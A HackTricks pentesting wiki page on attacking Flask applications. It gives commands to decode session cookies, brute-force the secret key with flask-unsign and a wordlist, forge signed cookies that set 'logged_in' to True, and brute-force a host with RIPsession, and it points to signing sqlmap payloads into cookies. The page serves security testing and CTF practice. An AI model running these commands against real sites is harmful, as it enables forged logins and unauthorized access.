hacktricks/network-services-pentesting/pentesting-web/flask.md

# Flask

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<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>

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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**

## Cookies

Default cookie session name is **`session`**.

### Decoder

Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Get the first part of the cookie until the first point and Base64 decode it>

```bash
echo "ImhlbGxvIg" | base64 -d
```

The cookie is also signed using a password

### **Flask-Unsign**

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

{% embed url="https://pypi.org/project/flask-unsign/" %}

```bash
pip3 install flask-unsign
```

#### **Decode Cookie**

```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```

#### **Brute Force**

```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```

#### **Signing**

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```

#### Signing using legacy (old versions)

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```

### **RIPsession**

Command line tool to brute-force websites using cookies crafted with flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

```bash
  ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

### SQLi in Flask session cookie with SQLmap

[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.

<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>

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<details>

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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

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